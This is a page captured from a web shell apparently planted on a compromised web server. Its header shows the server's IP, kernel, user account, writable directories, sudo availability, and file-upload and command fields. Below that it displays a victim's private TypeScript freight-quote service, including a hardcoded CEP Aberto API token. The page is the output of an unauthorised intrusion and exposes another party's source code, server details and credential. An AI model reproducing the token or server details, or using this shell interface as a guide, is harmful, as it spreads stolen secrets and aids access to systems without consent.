403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/gadotticar/frete-api/src/frete/transportadoras/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gadotticar/frete-api/src/frete/transportadoras/trasdedicado.service.ts
import { Injectable, Logger } from '@nestjs/common';
import { Client } from '@googlemaps/google-maps-services-js';
import axios from 'axios';

interface CepCache {
    address?: string;
    coords?: { lat: number; lng: number };
    timestamp: number;
}

@Injectable()
export class TrasDedicadoService {
    private readonly client = new Client();
    private readonly logger = new Logger(TrasDedicadoService.name);

    // Cache em memória: CEP → { endereço, coordenadas, timestamp }
    private readonly cache = new Map<string, CepCache>();
    private readonly CACHE_TTL = 24 * 60 * 60 * 1000; // 24h

    // Token fixo do CEP Aberto
    private readonly token_cep_aberto = '71ec4f09c7b4080ae650a9fa40f8a92c';

    // ---------- CONFIGURAÇÃO DAS FONTES (com prioridade, url, headers, parser) ----------
    private readonly cepSources = [
        {
            nome: 'CepAberto1',
            url: 'https://www.cepaberto.com/api/v3/cep?cep={cep}',
            headers: { Authorization: `Token token=${this.token_cep_aberto}` },
            parser: this._parse_cepaberto.bind(this),
            prioridade: 1, // Primeiro a ser tentado
        },
        {
            nome: 'BrasilAPI',
            url: 'https://brasilapi.com.br/api/cep/v2/{cep}',
            headers: { 'User-Agent': 'TrasDedicadoService/1.0' },
            parser: this._parse_brasilapi.bind(this),
            prioridade: 2,
        },
        {
            nome: 'ViaCEP',
            url: 'https://viacep.com.br/ws/{cep}/json/',
            headers: { 'User-Agent': 'TrasDedicadoService/1.0' },
            parser: this._parse_viacep.bind(this),
            prioridade: 3,
        },
        {
            nome: 'Nominatim',
            url: 'https://nominatim.openstreetmap.org/search?q={cep},+Brasil&format=json&limit=1&addressdetails=1',
            headers: { 'User-Agent': 'TrasDedicadoService/1.0' },
            parser: this._parse_nominatim.bind(this),
            prioridade: 4,
        },
    ];
    // ---------------------------------------------------------------------------------

    // ---------- CÁLCULO DE CUBAGEM ----------
    private calcularCubagem(produtos: any[]): number {
        return produtos.reduce((total, produto) => {
            let volume = (produto.altura / 100) * (produto.largura / 100) * (produto.comprimento / 100);
            volume = Math.max(volume, 1);
            return total + volume;
        }, 0);
    }

    // ---------- VALIDAÇÃO / FORMATAÇÃO DE CEP ----------
    private formatCep(cep: string): string {
        cep = cep.replace(/\D/g, '');
        if (cep.length !== 8) throw new Error(`CEP inválido: ${cep}`);
        return cep;
    }

    // ---------- RESOLUÇÃO DE ENDEREÇO COM FALLBACK E PRIORIDADE ----------
    private async resolveCepWithFallback(cep: string): Promise<string> {
        const rawCep = this.formatCep(cep);
        const cacheKey = rawCep;

        // ---- CACHE ----
        const cached = this.cache.get(cacheKey);
        if (cached?.address && Date.now() - cached.timestamp < this.CACHE_TTL) {
            this.logger.log(`CEP ${rawCep} resolvido via cache`);
            return cached.address;
        }

        // Ordena por prioridade (menor número = maior prioridade)
        const sortedSources = [...this.cepSources].sort((a, b) => a.prioridade - b.prioridade);

        const errors: string[] = [];

        for (const source of sortedSources) {
            try {
                const url = source.url.replace('{cep}', rawCep);
                const response = await axios.get(url, {
                    headers: source.headers,
                    timeout: 5000,
                });

                const address = source.parser(response.data);

                // Armazena no cache
                const cacheEntry: CepCache = {
                    address,
                    timestamp: Date.now(),
                };
                this.cache.set(cacheKey, cacheEntry);

                this.logger.log(`CEP ${rawCep} resolvido via ${source.nome} (prioridade: ${source.prioridade})`);
                return address;
            } catch (error: any) {
                const msg = error.response?.data || error.message || 'Erro desconhecido';
                errors.push(`${source.nome}: ${msg}`);
                this.logger.warn(`Falha em ${source.nome} (prioridade ${source.prioridade}) para CEP ${rawCep}: ${msg}`);
            }
        }

        this.logger.error(`Todas as APIs falharam para o CEP ${rawCep}: ${errors.join(' | ')}`);
        throw new Error(`Não foi possível resolver o CEP ${cep} em nenhuma API.`);
    }

    // ---------- PARSERS ----------
    private _parse_cepaberto(data: any): string {
        const { logradouro, bairro, cidade, estado } = data;
        if (!logradouro || !cidade?.nome) {
            throw new Error('Dados incompletos no CEP Aberto');
        }
        return `${logradouro}, ${bairro || 'Bairro não informado'}, ${cidade.nome} - ${estado.sigla}, Brasil`;
    }

    private _parse_brasilapi(data: any): string {
        const { street, neighborhood, city, state } = data;
        if (!street || !city) throw new Error('Dados incompletos');
        return `${street}, ${neighborhood || 'Bairro não informado'}, ${city} - ${state}, Brasil`;
    }

    private _parse_viacep(data: any): string {
        const { logradouro, bairro, localidade, uf, erro } = data;
        if (erro || !logradouro) throw new Error('CEP não encontrado');
        return `${logradouro}, ${bairro || 'Bairro não informado'}, ${localidade} - ${uf}, Brasil`;
    }

    private _parse_nominatim(data: any[]): string {
        const result = data[0];
        if (!result) throw new Error('CEP não encontrado no Nominatim');

        const { road, suburb, city, state } = result.address || {};
        const street = road || 'Rua não informada';
        const neighborhood = suburb || 'Bairro não informado';
        const cityName = city || 'Cidade não informada';

        return `${street}, ${neighborhood}, ${cityName} - ${state}, Brasil`;
    }

    // ---------- GEOCODIFICAÇÃO (Nominatim) ----------
    private async geocodeCep(cep: string): Promise<{ lat: number; lng: number }> {
        const rawCep = this.formatCep(cep);
        const cacheKey = rawCep;

        const cached = this.cache.get(cacheKey);
        if (cached?.coords && Date.now() - cached.timestamp < this.CACHE_TTL) {
            return cached.coords;
        }

        try {
            const coords = await this.geocodeNominatimCoords(rawCep);
            this.cache.set(cacheKey, { ...(this.cache.get(cacheKey) || {}), coords, timestamp: Date.now() });
            return coords;
        } catch (error) {
            this.logger.warn(`Geocodificação falhou para CEP ${cep}: ${error.message}`);
            throw error;
        }
    }

    private async geocodeNominatimCoords(cep: string): Promise<{ lat: number; lng: number }> {
        const response = await axios.get('https://nominatim.openstreetmap.org/search', {
            params: {
                q: `${cep}, Brasil`,
                format: 'json',
                limit: 1,
            },
            headers: { 'User-Agent': 'TrasDedicadoService/1.0' },
            timeout: 5000,
        });

        const result = response.data[0];
        if (!result) throw new Error(`CEP não encontrado: ${cep}`);

        return { lat: parseFloat(result.lat), lng: parseFloat(result.lon) };
    }

    // ---------- HAVERSINE ----------
    private haversineDistance(lat1: number, lon1: number, lat2: number, lon2: number): number {
        const R = 6371;
        const dLat = (lat2 - lat1) * Math.PI / 180;
        const dLon = (lon2 - lon1) * Math.PI / 180;
        const a =
            Math.sin(dLat / 2) * Math.sin(dLat / 2) +
            Math.cos(lat1 * Math.PI / 180) * Math.cos(lat2 * Math.PI / 180) * Math.sin(dLon / 2) * Math.sin(dLon / 2);
        const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
        return R * c;
    }

    // ---------- DISTÂNCIA (Google + Haversine fallback) ----------
    private async consultarDistancia(origem: string, destino: string): Promise<number> {
        const origCep = this.formatCep(origem);
        const destCep = this.formatCep(destino);

        try {
            const origemAddress = await this.resolveCepWithFallback(origCep);
            const destinoAddress = await this.resolveCepWithFallback(destCep);

            this.logger.log(`Endereços resolvidos: ${origemAddress} -> ${destinoAddress}`);

            const response = await this.client.distancematrix({
                params: {
                    origins: [origemAddress],
                    destinations: [destinoAddress],
                    key: process.env.GOOGLE_MAPS_API_KEY,
                    language: 'pt-BR',
                },
            });

            const result = response.data.rows[0]?.elements[0];
            if (result?.status === 'OK' && result.distance?.value) {
                return result.distance.value / 1000;
            }

            throw new Error(`Google Maps: ${result?.status}`);
        } catch (error) {
            this.logger.warn(`Google Maps falhou, usando Haversine: ${error.message}`);
        }

        // Fallback: Haversine
        try {
            const [origCoords, destCoords] = await Promise.all([
                this.geocodeCep(origCep),
                this.geocodeCep(destCep),
            ]);

            const distance = this.haversineDistance(
                origCoords.lat,
                origCoords.lng,
                destCoords.lat,
                destCoords.lng,
            );

            this.logger.log(`Distância Haversine: ${distance.toFixed(2)} km`);
            return distance;
        } catch (error) {
            throw new Error('Falha total ao calcular distância.');
        }
    }

    // ---------- CÁLCULO DO FRETE ----------
    public async calcularFrete(payload: any): Promise<any> {
        this.logger.log('Calculando frete para TrasDedicado...');

        const { Origem, Destino, Produtos } = payload;

        if (!Origem?.cep || !Destino?.cep) {
            throw new Error('Origem e destino devem conter CEPs válidos.');
        }

        if (!Produtos?.length) {
            throw new Error('A lista de produtos não pode estar vazia.');
        }

        try {
            const cubagem = this.calcularCubagem(Produtos);
            this.logger.log(`Cubagem: ${cubagem.toFixed(2)} m³`);

            const distancia = await this.consultarDistancia(Origem.cep, Destino.cep);
            this.logger.log(`Distância: ${distancia.toFixed(2)} km`);

            let valorFrete = cubagem * distancia * 0.6;
            valorFrete = Math.max(valorFrete, 649);

            const diasExtras = Math.ceil(distancia / 300);
            const prazoMin = 13 + diasExtras;
            const prazoMax = 15 + diasExtras;

            this.logger.log(`Frete: R$${valorFrete.toFixed(2)}, Prazo: ${prazoMin}-${prazoMax} dias`);

            return {
                transportadora: 'TransRof',
                codigo: 101,
                descricao: 'TransRof',
                cotacao: {
                    codigo: 999999,
                    msg: 'Transrof',
                    valor: valorFrete.toFixed(2),
                    prazo_min: prazoMin,
                    prazo_max: prazoMax,
                },
            };
        } catch (error) {
            this.logger.error(`Erro ao calcular frete: ${error.message}`);
            return null;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit